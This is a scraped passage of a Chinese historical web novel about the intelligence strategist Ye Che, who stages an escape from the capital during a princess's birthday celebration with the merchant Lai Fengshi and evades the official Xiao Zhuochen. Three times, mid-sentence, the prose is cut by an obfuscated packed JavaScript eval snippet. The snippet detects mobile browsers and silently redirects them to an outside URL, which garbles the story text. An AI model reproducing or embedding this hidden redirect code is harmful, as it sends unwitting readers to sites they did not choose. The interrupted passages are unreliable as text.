赖凤时一脸沮丧:“我知道你们是在我面前做戏,没关系,我是真心想救她离开京城,只要她安全就好。” 贼喊捉贼,叶澈真诚发问:“她遇到什么危险了?” “她”,赖凤时欲言又止,还是说道,“你们都不说,我也不想说,总之,行动照旧。” 不知是他入戏太深还是怕再被追问,赖凤时气鼓鼓往外走,叶澈悠然在他身后,收起扇子跟了上去。 两人出了新燕馆,见赖凤时想走,叶澈忙拦住他:“既然行动照旧,你带我走一遍当天的安排,我也好有个数。” 赖凤时心情不佳:“安排就是我跟你说的那些,你还想知道什么?” 叶澈随意一指:“我对京城没有那么熟,夜市都没逛过,最重要的巡街、换班,这些你不跟我说说吗?” 赖凤时重点跑偏:“你来这么久都没逛过夜市?” 叶澈无语,他除了刚来京城那两天,自从遇到萧灼尘后便没过过安生日子,哪里有时间逛夜市,他保持微笑:“所以赖老板,你到底要不要介绍一下。” 叶澈来之前就有所了解,京城的巡街使以负责治安、放火、维护秩序为主,隶属于京兆府,统归吏部管理。 平日里巡街分两班制,重大庆典节日便会加派人手,24小时巡逻,四个时辰一换,赖凤时摆摆手:“那是一般的节日,公主的生日不一样,两个时辰就换。” 叶澈忍不住问:“这么紧密的巡逻,你确定行动能照旧?” 赖凤时凑近他低声道:“上有对策下有政策,只要在公主看得到的地方勤换岗,其他地方换了,但也不算换。” 叶澈了然:“换的是同一批人?” 赖凤时做了个噤声的动作,又说:“需要小心的是萧灼尘,他应该也会带队护卫,避开他巡视的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492689|154769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间就行。” 叶澈有些意外:“我以为你不怕他。” “我有什么好怕的”,赖凤时不以为意,“他是我爹的学生,他要是敢伤我看他怎么面对我爹。” 叶澈轻拍双手,无感情的声音听不出好赖:“真厉害。” 赖凤时整个人透着不靠谱的气息,真办起事来倒是利索。 带着他在夜市上吃饱喝足,踩点之余还把重点巡防和少有人去的小道都一一说得清清楚楚,虽说这些叶澈靠自己也能摸清,但这样倒是让他省了不少力。 两人分别后,叶澈轻轻咳了几声往萧府里走,他已无其他不适,就是咳嗽不大见好。 已过亥时,萧府的人都歇下,他放慢脚步免得惊扰他人,弯月如钩,星光点点,想不到京城也能见到这般光景,他忍不住抬头望天,就这么站在廊下静静欣赏,四周静谧无声,有人影从屋檐闪过。 叶澈怔了一瞬,他只是赏个月,就遇见了贼?偌大的府邸没有人巡视,叶澈连叫人都不知道找谁更合适,他看向那贼消失的方向,还是跟了过去。 萧灼尘居住的主楼每天都有固定的人清扫,也顺便拦阻其他人往里进,这会大概也休息了,叶澈一路走进去连个人影都没见着,一楼的大堂简单古朴,除了看得出价值不菲的座椅,整个地方空得连贼来了都无从下手。 叶澈试探性叫了一声:“大人。” 见无人应答他便往楼上边走边喊,萧灼尘公务繁忙,想必是还未回府,难得闯了进来,叶澈也想看看平日里不让人进的地方究竟有何特殊。 楼上的房间全掩着,叶澈小心推开查看,萧灼尘似乎不喜在屋里放太多东西,无论是卧室还是书房,都是一览无余的干净,叶澈有些失望,这人平时真的会在府上生活吗? 他手刚放在最后一间房门口,萧灼尘的声音在背后响起:“叶老板半夜做贼,想找什么?” 叶澈从容不迫转身笑道:“大人明鉴,我是看到有人影才跟过来的,府里怕是进贼了。” 萧灼尘抱着胳膊点头:“确实有贼,就在我面前。” 自己刚才确实心思不纯,叶澈走到他面前两手一张:“大人,我真是清白的,不信你搜。” 叶澈今天穿了身天青色长袍,宽大的袖口随风轻摆,露出金色丝线绣着的暗纹,腰间束着的白玉腰带被他的动作带得晃了晃,衬得整个人举手投足间自带风流。 这人病好初愈,看着清减了些,萧灼尘想着便伸出指头,抬手轻按,从肩膀一一往下摸索,他看着单薄,摸上去却线条分明,比想象中还结实些,看来身体素质也没有那么差。 叶澈没想到他上手就来,那三根指头顺着衣服滑到腰间,惊得他猛退一步,对方已经先发制人:“不是你让搜的?” 他就是随口说说,哪知道这人蹬鼻子上脸,叶澈一时无言,喉咙间的痒意又现,他掩嘴咳嗽几声,瞥见萧灼尘微微皱眉的嫌弃模样,他又凑上前,边咳边说:“大人,你搜,我就是想咳嗽,咳咳咳。” 知他刻意惹嫌,萧灼尘摆手:“行了,有病就回去躺着,别在我面前找事。” 叶澈见好就收,退后抱拳:“多谢大人体贴。” 不等他再做反应,叶澈转身就走,这人不按常理行动,实在恼人,有贼也活该,再说这里也没什么可偷。 萧灼尘站在楼上眺望,看着人从视线里消失,才冷声喊道:“霜刀。” 黑衣男人从屋外跳进来:“公子,属下知罪。”他还特意晚了半个时辰才进府,哪知道被叶澈看个正着。 萧灼尘语气冷淡:“若执行任务时也会这么随便被人发现,你就不用留在我身边。” 霜刀头更低了些:“请公子责罚,不会再有下次。” 萧灼尘这才看向他:“事情办得怎么样?” 霜刀从怀里掏出东西呈上:“这是他到地方后亲手写的名单,公子请过目。” 萧灼尘扫了一眼,放在烛火前点燃:“既然提前回京,去帮影刃给公主准备的惊喜做得再完美些。” “是。” 7. 平静 次日赖凤时来得比约定的时间晚了许多,他神色匆匆急着要走:“我就是顺路来告诉你一声,今天我有其他事要忙。” 叶澈见他连下马车的时间都没有,有些奇怪:“出什么事?需要我帮忙吗?” “一起去也行”,赖凤时也不客气,伸手拉他上车,没等他完全坐定就已经开始说,“苗若歌那个书呆子,今天在朝上参了大理寺滥刑威逼官员,被陛下杖责二十赶回了家,我怕这人死心眼还想再奏,到时候陛下气极罢免他这个谏言官,我被董阳坑的那笔钱不就彻底打水漂了。” 叶澈在摇晃的马车里稳住重心,哭笑不得:“你倒是诚实。” 赖凤时理直气壮道:“本来就是,上次去城外见过戏曲班子后他已经将所有前因后果整理好给吏部了,有他督促,我极有可能赚回那笔钱,在那之前,我不能眼睁睁看着他作死。” 大有一副“谁给钱谁就是祖宗”的好计算商人模样,叶澈想起薛晓说他为人潇洒,现在看来,这人在面对不同的人时便是不同性格,倒是和自己有几分相似。 叶澈重重点头:“没错,我们做老板的,挣钱也不完全为自己,手底下还有那么多人等着吃饭,能赚就是最好的。” 赖凤时两眼放光看向他:“我就知道,你是我的知己。” 两人闲聊间已到苗若歌的宅邸附近,他住的地方近京城最大的书院,寸土寸金,是当年高中之时皇帝钦点赏赐的住处。 苗若歌出身于地方上的书香世家,早在少年时期就因出口成诗、过目不忘的本领小有声誉,当年陛下四处征战之时,曾因几篇檄文深得其心,后被直接提拔至御史台,以侍御史身份负责对朝廷官员的纠察弹劾。 叶澈听得认真,问道:“听起来苗大人很得陛下信任。” 两人在门房处等人回话,赖凤时压低声音:“那是以前,如今陛下需要的是能够与公主力量相抗的人才,苗若歌并不是一直站在陛下那边。” 叶澈有些意外,赖凤时对于朝堂的事似乎很是熟悉,他故意试探:“凤时对当今朝野局势如此清晰,不去做官太可惜。” 赖凤时摇摇头:“我才不做,看我爹虚与委蛇一辈子,活得太累,我当个会挣钱的老板就不错。” 叶澈还想再问,已经有人来请他们进门。 苗若歌的宅院不大,因着设计精巧的假山水池,整个院子的层次渐深,倒也显得格外典雅,赖凤时也感叹:“姓苗的品味不错,也就比我差点。” 看着他华丽夸张的装扮,叶澈笑而不语,只是点头。 苗若歌已经在书房的卧榻处半趴着等他们,整间房充斥着浓浓的草药味,赖凤时进门后扇了扇:“伤这么重不去床上躺着,你该不会想在这再写一篇弹劾文章呈给陛下吧。” 叶澈看着脸色惨白的人瞬间被戳中心思后泛红的脸,心中感叹,这人居然真是这么打算,他环顾四周,书房的陈设多是些文房四宝,高大的书架旁挂着几幅书画作品,最近的一幅上用隶书体写着“俯仰天地,无愧于心”,简洁又不失庄重。 苗若歌已经语气生硬说道:“两位老板是来替萧灼尘当说客的吗?” “呸呸呸”,赖凤时拉了把椅子坐下,又递给他小罐药膏,“我巴不得你能把那个讨厌鬼参下来,别好心当驴肝肺,这是宫里的上好药膏,等会让人给你抹上。” 见他不接,赖凤时也来了气:“这我的,太后赏的礼物,你到底要不要?” 苗若歌这才谢过后接下,面带尴尬看向叶澈:“抱歉叶老板。” 他一动作,背上的血迹又渗出来,叶澈忙道:“苗大人身体为重,来的路上我听凤时说过,您是不愿看到大理寺重刑逼问官员才会当众声讨,我不懂朝廷上的事,就算是您不对,陛下这也让人打得太狠了些。” 他语气尊重,话里却是放肆议论,苗若歌忍不住皱眉说道:“既然不懂就不该妄议陛下,叶老板这话出了我这屋子就别再说。” 古板,叶澈连连拱手:“大人说得是。” 赖凤时不满插嘴:“说说怎么了,他不懂朝廷,你也不懂吗?晏贵贤那份名单无论真假,都必须是假的,你参大理寺滥刑不就等于间接承认他卖官敛财的事实吗?” 工部都水清吏司史晏贵贤,已近天命之年,多年来负责京城河道、桥梁等水利工程的督造和维修事宜,一个月前城西的石桥突然断裂,十余人从桥上跌落受伤,有两位年长者更是因此驾鹤西去。 从人员伤亡的数量上来说这算不得重大事故,坏就坏在那天萧灼尘也从那经过,他以公主诞辰在即为由,彻查城内建筑安全,便抓到了晏贵贤身上。 晏贵贤在大理寺供出来一份贪污名单,桩桩件件都能安到在朝官员身上,尤以陛下一派居多。 萧灼尘在朝上汇报申请彻查,陛下已经断言此事是晏贵贤贪生怕死,想减缓罪行的行为,偏偏苗若歌不知死活的跳出来,直指萧灼尘利用刑罚逼供,需重新调查此事,几方僵持不下,皇威震怒,最终以苗若歌领板子,萧灼尘罚俸禄了结此事。 叶澈这些年来虽远离京城,但也能推知一二,这份名单一旦坐实,陛下与公主的势力悬殊将会再次拉大,自萧灼尘扬名以来,公主一派的士气大涨,如今双方僵持不下,谁都不肯放松手中的权利,这种时候出现的名单,自然必须是假的。 赖凤时话音落下,苗若歌沉默片刻才开口:“我初入京城时曾有幸听过太傅大人的讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492690|154769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学,他曾说过‘公家之利,知无不为,忠也’,我既当朝为官,就该直言不讳,赖公子所说我也明白,可有些事总得有人去做。” 赖凤时嘟囔:“就你清高,拿我爹出来说事算什么。” 叶澈开口问道:“大人是故意参大理寺,想彻查朝廷卖官一事?” 不等苗若歌再说,赖凤时又气道:“糊涂,这事要这么简单你们家御史大人怎么都不帮你,你想送死那请便,只是也想想你的父母兄弟,搞不好就是个株连九族的命,对了,找死之前把董阳那笔账给我结清,叶澈,我们走!” 赖凤时拂袖冲出门,叶澈走出两步,又折回来轻声道:“我听得一知半解,但以商人的想法来说,谈判不成功还是因为没有能够打动对方的点,陛下责罚您是因为您参的是大理寺在这件事上的重刑,可若事关公主诞辰日的安定,说不定陛下也会愿意多听两句呢?” 苗若歌心中一惊,这些年来他一直没有明确站队,陛下对他的进言也愈发不耐烦,这些事情他不是不知道,只是他刻意忽略甚至遗忘,连挨打了都没往这个方向想过。 卖官一事可大可小,他必须将这件事查清楚,若想查清楚,那便必须站队,只是眼前这人不过是个商人,他是故意提点自己还是碰巧想到的? 叶澈满脸认真看他,笑道:“我们商人想得比较简单,如有得罪大人莫怪,过两天再来拜访您。” 苗若歌是个刚正不阿的好官,若是能成为陛下那方的人,或许能够与萧灼尘相互制约,就算只是给那人添点堵也是极好的。 好心情的叶澈追出去,赖凤时已经走到马车前,他回身叉着腰:“姓苗的怎么油盐不进,上赶着找死。” 见他气得够呛的模样,叶澈一本正经问:“其实你也是欣赏他的吧。” 赖凤时瞪他一眼:“你瞎了,他这么迂腐,有什么值得欣赏。” 叶澈不以为意,坦白说:“我倒觉得朝廷还有这样的官员,说明还不算太差。” 这回赖凤时没再说话,只平静朝着皇城方向看一眼,才说:“走吧,带你逛完。” 黑云压城,昏暗的天气中只有皇城的巍峨格外显眼,叶澈也跟着看一眼,他觉得这天像是要下雨,便开口道:“明天再逛也行,我想喝酒。” 赖凤时一秒变脸:“知己,我也想,那我们先喝酒,有什么事明天再说。” 叶澈被他的反应逗笑,也配合应道:“嗯,我请你!” 万事都已准备得差不多,只差最后的临门一脚,叶澈心中有些怅然,这是他第一次提出喝酒,也会是最后一次,赖凤时人不坏,却对银钩门充满试探,若他不是刻意来结交自己,叶澈心想,他们或许能成为不错的朋友。 8. 离京 公主生日那天,叶澈一大早就被府外锣鼓喧天的动静吵醒,连着两日的彻夜狂欢让京城的人变得更加兴奋,大有要将这份喜庆传遍每个角落的隆重之势。 他披着衣服在门口观看游行庆祝的人经过,回屋的路上意外在练武场看到了正在耍长枪的萧灼尘。 这人怪得很,把他带回来后也不约束他,反倒是自己因公务早出晚归,叶澈就没在府上见过他几回。 萧灼尘拎着一把笔直乌黑的长枪,枪尖锋利,在他手上化作一阵看得见的风,所刺之处都会发出轻微的呜咽声,他马步很稳,灵活地前进又后退,破开的晨雾在他身边跳起来,轻烟流转,包裹着与长枪融为一体的身体。 叶澈突然就想起,小时候萧灼尘就很爱晨练,宇文府老太太一般辰时起床,小少爷来了以后也会跟着起床,还没吃饭就现在院里跑两圈,说是早上的空气清新,让人愉快,食欲都会变好。 “锵~” 长枪划破长空,直奔他的脸袭来,又在距离他半米外的位置被人持住,枪尖猛顿,颤抖不已的发出嗡鸣声,也让叶澈从失神中清醒,他目光冷静地看向对面的人:“大人威武得很。” 明明听不出喜怒,萧灼尘还是感觉到了面前人的不快,他只是看这人居然在他练功时在一旁发呆才没忍住将手里的长枪扔出去,也没真的伤到怎么还敢在他家给他甩脸,他沉下脸:“叶老板在我这住得挺舒服,衣服都不穿好就在外面乱跑。” 叶澈拢了拢身上的衣服,笑道:“多谢大人,让我在京城也有宾至如归的温暖,大人,公主生日您不用随行伺候吗?” 萧灼尘收起长枪:“这不是你该操的心。” 他也不是真的关心,叶澈两手一摊就要走,又听萧灼尘说道:“叶澈,大喜的日子,你打算做什么?” 叶澈微微侧脸笑道:“喝酒逛花灯,看戏玩乐,放心,我会替大人多玩一会。” 这好像是他第一次正式叫自己的名字,叶澈不回头地伸手挥了挥,小少爷,这样,也算是正式道过别了。 如果说平日的京城是繁华迷人眼,那现在的京城因为公主的生日,已经变得人人飘飘欲醉,临街店铺挂满了不同颜色的帷幔装饰,那些训练有素的飞燕每隔一段时间便会从城北被放飞,还有牵着马匹牛羊的外地商人穿梭在充满酒香的闹市,整座城市都透露着一股极尽奢华的快乐。 叶澈越过人挤人的拥堵,才在午饭前的时间赶到了聆音居,赖凤时正窝在窗边看楼下来来往往的行人,见他进门便懒懒招呼一声:“来了。” 叶澈走近窗边,跟着向下瞧了一眼才说:“看热闹还这么不开心的脸,今天去找过阿晓姑娘了?” 赖凤时耷拉着脑袋歪头看他:“我都掏心掏肺到这个份上了,你们,不是,她还是不愿意相信我是真心想帮忙的吗?” 叶澈找了个舒服的姿势坐下,玩着他乱扔在榻边的珠宝,笑道:“日久见人心,也许她都记在心里。” “这是我愿意做的事,不用她记着,就像对你,我确实觉得你这人还不错。”赖凤时坐直身体正色道。 叶澈却不愿意再跟他纠缠这个话题,他故作严肃问道:“那阿晓姑娘要是不听你的,傍晚的行动真的继续?” 赖凤时叹口气:“你也逃避话题,罢了,日久见人心,你们总会相信我的,行动当然要继续,路我给她铺好,如果她不肯走我也没事,有我在京城,一般人欺负不了她。” 不,你陪不了,叶澈内心反驳,面上温柔问:“有一句话我想问很久了,两位男才女貌确实相配,只是凤时,你毕竟是太傅之子,你们家能接受这位阿晓姑娘吗?” 他知道薛晓有情,却不太确定赖凤时的心意,离京在即,叶澈必须弄清楚才行。真心难拆,他们若情投意合,银钩门也得早做准备。 赖凤时瞪大眼:“你在口出狂言!” 见他愠怒的模样不似作假,叶澈有些犹豫:“你还没正式给阿晓姑娘表白过心意吗?” 这下赖凤时真惊了,他站起来叉着腰忿忿不平:“给她表什么?我喜欢男的!” “什么!” 楼下欢天喜地,楼上两两尴尬无言,叶澈惊讶得嗓子都喊劈了,内心更是被雷劈的感觉,他对感情向来都是包容开放的心态,棠溪小时候说长大后要和村口的黄狗成亲他都觉得可以接受,更何况人心所向不由己,喜欢本就没有道理可言。 但这不代表他可以接受赖凤时,这人不喜欢薛晓却这么执着要救人,难道他是喜欢?叶澈咬咬牙果然拒绝:“赖老板,我不喜欢你。” 赖凤时眼睛瞪得更大,气极反笑:“你有病,我也不喜欢你!” 原来是误会,叶澈松了口气,不着痕迹往后退了退,讪笑道:“哈哈,那就好那就好,那个,我们现在还要准备什么?”赖凤时喜欢男人是好事,薛晓还不至于被一个不喜欢自己的男人长久蒙骗,叶澈放下心来。 赖凤时仰头长叹一声,这才收敛情绪说道:“事情都已准备就绪,我就是有点紧张,找你说说话。” 这人一副翩翩公子模样,打算做的事却是莽撞不计后果,事到如今才说紧张,叶澈有些好笑,就听他又说:“公主应该酉时登城楼,看到我做的那些应该会吓一跳,小时候我还去她宫里玩过。” 叶澈摸不清他要说什么,只得问:“你担心公主的安危?” 赖凤时笑着摇头:“萧灼尘随行护驾,公主不会有危险,我只是感慨,如果公主就是一个乐善好施的人就好了。” 叶澈淡淡回一句:“公主施粥赠衣,广做善事,不就正是这样的人。” 这些年薛晓传回银钩门的消息里,关于公主的部分总是绕不开各式各样的庆典活动,新建宫殿,庆;异国珍宝进贡,庆;天晴气爽,庆;身体健康,庆…… 有时是举国同庆,有时是京城独祝,总归各地多少都得劳民伤财,公主在庆祝过后又会派粮分衣,散药救济,一来二去,做善事的名声倒是有了。 叶澈看着面前人略带忧愁的表情,这人在今天这样特殊的日子提起这话,实在是奇怪,他笑问:“你觉得公主不是这样的人?” 赖凤时直视着他的目光也笑了:“既然叶兄相信,那我就相信。” 两人默契的没再继续这个话题,叶澈心生怀疑,赖凤时突然反常试探自己对公主的态度,怕是对于今夜离京一事也有所猜测。 赖凤时安排的戏曲表演在东北门,需要叶澈去扰乱队伍的施粥处在西南门附近,眼看时间渐近,叶澈起身辞别,赖凤时送他出门时认真嘱咐:“小心。” 仿佛两人真是互相信赖的同谋,在背水一战前交换关心,叶澈扯扯嘴角:“你也是。” 从聆音居出来后,叶澈随着人流闲逛,红薯飘香,他拣了个最大的捏在手上,小贩找给他铜板,笑脸盈盈:“就这些,好吃再来。” 叶澈数着数量扔进钱袋,五个,银钩门在京城的人手三十有余,新燕馆占了二十左右,薛晓不走,只有五个人愿意今晚跟着他离开京城,叶澈笑道:“行,谢谢老板。” 他边走边瞧,又买了串糖葫芦和一袋核桃,这才施施然往施粥的方向走去。 东北门,搭好的戏台边已经围了几圈看热闹的人,装扮好的戏子各在其位,等着城墙上的贵人们指示。 赖凤时换了身月白色的羽衣,细碎的绒毛随着他的动作轻舞,他看着城墙下已起了架势的表演班子,戏台周围是高耸的火炉,等到表演快结束时,扮演仆人的戏子下台时会撞倒火炉,台上铺着的绒毯和稻草道具,遇火即燃。 他和叶澈约定好了以烟为信,到时叶澈在施粥处引起混乱,等到四处都乱成一片,离新燕馆最近的西北门官兵势必会分兵支援,薛晓的人也就有机会逃走。 只是想起这两人,赖凤时微不可见地叹了口气,他们不信自己,肯定不会按照这个计划走下去,赖凤时有些无奈,这种上赶着赔了夫人又折兵的吃亏行为,也只有他这种家底厚实的人才消耗得起。 “公主驾到” 尖细的声音拉回他的思绪,赖凤时转身瞬间已经换上了招牌笑容,他优雅抬手迈步,朝着公主方向走去。 京城西街,叶澈拎着小袋核桃站在人群中看戏法表演,时不时的鼓掌喝彩,倒真像是来京游玩的旅人一般。 正中的汉子络腮胡,大红的披风从木质的封闭箱中拂过,再开门时,里面已经没有人,这是在表演大变活人的戏法,众人看的不过瘾,高喊着“再来,再来!” 络腮胡捋了一把胡子,笑眯眯摇摇头,又夸张支起耳朵,听着更高声音的喊叫声笑着点头,开始在人前转悠,半是正经半是搞怪的脸停在叶澈面前,叶澈惊讶看看周围:“我?” 有人喊道:“他害怕让我来!” 叶澈朗声笑道:“谁说害怕,我偏要试试。” 众人一片欢呼,络腮胡领着他走到木箱前,叶澈在他的引导下左瞧右看,还开着门进去又出来,好一番热场后才真正进入箱中,外面顿时陷入安静,络腮胡煞有其事的绕圈一周,边摸边敲,再用披风盖住箱门,猛地一拉,门开无人,现场顿时掌声轰动,欢呼的声音再起。 叶澈已经听不太清大街上的动静,他揉着屁股站起来,远处有微微光亮,他摸索着墙边的石块,络腮胡敲了六下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492691|154769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他数着从下往上第六排,用力下按,脚下再次失重往下一跌,这次落的时间要长几秒,他撞到有些硬的沙袋才停下。 叶澈扶着腰站起,从怀里的核桃袋子掏出火折子一吹,佝着腰向前走去。 入京前他做了两手准备,城门的混乱要有,城内的暗道也得用。 这大变活人的戏法已经演了一整天,木箱连着废弃的地道,从刚跌落的地方往光亮处走,就能到闹市另一头,戏法表演的人就算事后被人查到,也顶多算卖弄玄虚,只是这处暗点暴露后,以后怕是不能用了。 叶澈佝着身子走了半刻钟左右,眼前出现一节绳子,他扯着长绳摇晃,似乎有铃铛作响,片刻后头顶露出井盖大小的光亮,有人冲他喊道:“拉紧。” 他半借着绳子的力量向上,到井口处一双纤细的手臂拉他上去,这是新燕馆的后院,确切些说是新燕馆的女红房,薛晓拉他上来也费了些力,这会喘着气说:“其他人已经准备好,您这边换好就能走。” 东门城墙下,戏已演到尾声,为首的一人在桩上扯住对面那人从袖间掏出的横幅一角,借着争斗的动作向下飞身一跳,两人手中的横幅展开,红底白字写得清晰。 金殿玉食,罔顾苍生。 城墙上本是含笑看戏的公主脸色微变,萧灼尘已经下令:“把那两人抓起来。” “嘭”的一声,四方的火盆都摔向戏台,抹了浓妆的戏子抬头喊道:“赖老板,这么烧行吗?”那人说着将手里的东西往着火处一泼,火顿时大了许多,官兵忙着抓人,没来得及救火,火势眼看变大,惊得看热闹的百姓惊慌之下四处逃窜尖叫,场面一时失控,萧灼尘骂道:“先救火!” 说完转向公主:“臣失责,请公主先行回宫休息。” 公主一脸平静冷哼:“一群刁民,栖岚,这就是你给本宫准备的惊喜?” 赖凤时在那人出口大喊之时就已跪倒在地,他头埋到地面,语带哭意:“公主明鉴,给我一百个胆子我也不会做这种事,一定有人想栽赃我,求公主为我做主。” 公主没有出声,赖凤时又哭腔明显地喊一声:“公主。” 半晌萧灼尘的声音传来:“别装了,公主已走,你晚点去请罪。” 赖凤时抬头,舒口气坐在地上,见四下无人,又猛地跳起来凑近他小声说:“叶澈这人也太歹毒了,他这是想让我在京城待不下去。” 萧灼尘瞥他一眼,城楼下还在忙着救火,便用只两人听得到的音量提醒:“去宫里的时候记得通知你爹。” 新燕馆后门,高大的妇人领着几人直奔最近的城门方向,越是临近城门她的背越驼,旁边搀扶着人的女孩紧张靠近:“我觉得他们好像在看我。” 这妇人就是叶澈,薛晓的装扮手艺出神入化,即便是萧灼尘在这里怕是都认不出他的脸,叶澈拉着女孩,低声道:“别看他们,看着我,我们就是正常出城,和别人一样。” 陛下为公主庆生,特赦妇孺儿童,叶澈准备好的出入文书没用上,便干脆都乔装打扮成了刚出狱的妇孺,为免节外生枝,薛晓还将几人特意画得丑了些。 几人颤颤巍巍混在出城的队伍里,唯一的问题便是人太多队伍走得慢,叶澈担心戏曲班子的动静会加强这边的城门守卫,便对身边人使了眼神,几人分散开来,早走一个是一个。 有官兵列队从身后赶来,叶澈摸着袖子里藏着的刀,谨防事情生变,他得趁早让这地儿乱起来,叶澈正要将刀扔到人群中,那列官兵已经在城门守卫中点了几人,又浩浩荡荡走了。叶澈有些奇怪,微微抬头扫视一圈又迅速低着头,城门的守卫没变,甚至因为少了人显得更松,他没去捣乱施粥的地方,难道是赖凤时还安排了其他人。 无暇多想,他们已经接近城门。 身后传来急促的马蹄声,萧灼尘的声音响起:“东门走水,今日所有城门戌时关闭,亥时开始宵禁。” 叶澈惊得一身冷汗,萧灼尘来得太快,眼看前方已经只有几步便能出城门,身边的女孩有些着急想加快步子,叶澈拽着她压低声音:“别慌。” 身边其他人也都急了起来,城门官兵见状大声呵斥:“不要挤,都能出,步子快点。” 他们几乎没费太多力气,就被身后其他人拥挤着往城外出去,叶澈出了城门后才借着搀扶的姿势回首去看,早已没有那人的身影,想来是路过留下命令便离开。 叶澈收敛心思,重又看回前方的路,来京城的任务算是半完成,他得回去找棠溪商量薛晓的事,想到萧灼尘在大理寺时已经摸清他们在代水城的底,叶澈有些可惜,那个酒馆,一时半会是开不了张了。 9. 再见 出京后叶澈一路畅通地南下,顺利得让他怀疑京城的风平浪静。 “哪里太平”,棠溪把手边的刀放在桌上,“今早我收到消息,你们出京的那天有几个官员联本上奏,参公主奢侈浪费,引起民愤,大理寺抓了那几个官员,说是还没上刑就已经在狱中自缢,陛下震怒,停了萧灼尘的职,他这是自己一身虱没法追你。” 叶澈觉得不太对,这次去京城他最大的发现便是萧灼尘行事似乎与情报不太一样,但明摆的事实在眼前,他摇摇头:“算了,无事才好,没有萧灼尘盯着,新燕馆应该不会有事。” 棠溪想想又问:“那个赖凤时非要帮咱们,真不是喜欢薛晓吗?” 叶澈特意让人留心过聆音居的情况,城门那场混乱被掩盖,只知道是意外失火,其他的消息并没有传出来,听说赖太傅生病,赖凤时为尽孝道准备闭店一个月,在家陪伴父亲左右。 一切太过巧合,叶澈怀疑所谓的生病休店只是暂避风头的借口。只要赖凤时不缠着银钩门,叶澈不管他想做什么:“他不喜欢薛晓,也许是富家公子的闲趣,或者……” 棠溪见他说一半停下,追问道:“或者什么?” 或者,赖凤时与其他江湖门派有关系,想起他那一屋子的珠宝,要说与逍遥阁有关也不是没可能,但叶澈没有证据,不想继续说下去:“没事,我是突然想起逍遥阁,眼下朝廷党派争斗激烈,逍遥阁最近有新消息吗?” “正想跟你说这件事”,棠溪从怀里拿出一张地图,继续说,“你去京城后我统计了银钩门众人在各地的分布情况,还有逍遥阁和幻音坊这些年常出没的地方,我发现一件很奇怪的事情。” 图上用不同颜色标注了三大门派的信息,银钩门和幻音坊出现的地方大致重合,但逍遥阁在东北方向交错处有一个明显的缺口,叶澈看着她圈出来的位置:“符山?” 符山有被废弃的皇室避暑山庄,听说是公主十年前去避暑时被山中蛇兽所伤,后来便以不安全的缘故封锁了整座山庄,棠溪点了点地图上的缺口:“没错,江湖上都说逍遥阁坐拥黄金矿,才会在短短几年的时间占据那么多重要的路线资源,可是没有人知道逍遥阁在何处,那关于黄金矿的消息又是怎么出来的呢?” 叶澈点头:“我们当初怀疑逍遥阁的人是朝廷的人,才会把新燕馆打造成达官贵人的去处,你是觉得逍遥阁在符山?” “你不觉得吗?”棠溪将手中的图推给他,“他们这么有钱,朝廷要想打压势力,要是把他们都剿了那不得吓死我们这些小门小派。” 叶澈无奈:“门主。” 棠溪摆摆手:“知道知道,他们要是真被灭了,银钩门离解散也不远,总而言之,这个地方离京城不远,从这南下也能走通水运,这种地段,逍遥阁不可能没有人,除非这是他们隐藏的窝点。” 叶澈一副看透的表情:“你是想看看这附近有没有黄金矿吧。” 棠溪收起图,笑道:“那作为我的最强军师,你觉得,有没有必要一探呢?” 银钩门情报来源广,门下众人从走街串巷的乞丐,到经营店铺的老板,什么身份的人都有,这些人跟门主本人一样,都有个共同的特点,能挣点钱,但不多。 钱财一直是棠溪在接手银钩门后最头疼的问题,世道还算安稳之时,买卖情报也容易,苛捐杂税多起来后,管好自己生活就已不容易,买卖情报的人也变少,不少门众都半做半退,照这样发展下去,不用等朝廷来剿灭,银钩门早晚只剩下空壳。 棠溪说得有道理,逍遥阁在符山一带的空缺颇有种“此地无银三百两”的感觉,就算那里没有黄金矿,能找到关于逍遥阁的信息也好,正好醉翁酒坊暂时不开,叶澈笑了笑:“军师当然听门主的。” 两人都是闯荡惯了的人,次日天刚亮便启程,这段日子叶澈在京城以商人姿态,添置了不少公子哥的衣服,但都扔萧灼尘府上了,叶澈想想就觉得可惜,那也是一笔银子。 棠溪见他随手用树枝簪发,不满道:“我们也没穷到那个地步,京城的开支我给你报了,你换根发簪。” 叶澈摇晃着脑袋连连摇头:“不换不换,我这是提醒自己勤俭节约,门主都想着要去挖别人家的黄金矿,我也得有所作为。” 他向来是个随性的人,棠溪也懒得劝他,用力夹了下马肚子,率先冲了出去,叶澈招呼着跟出去:“棠妹,小心路滑。” 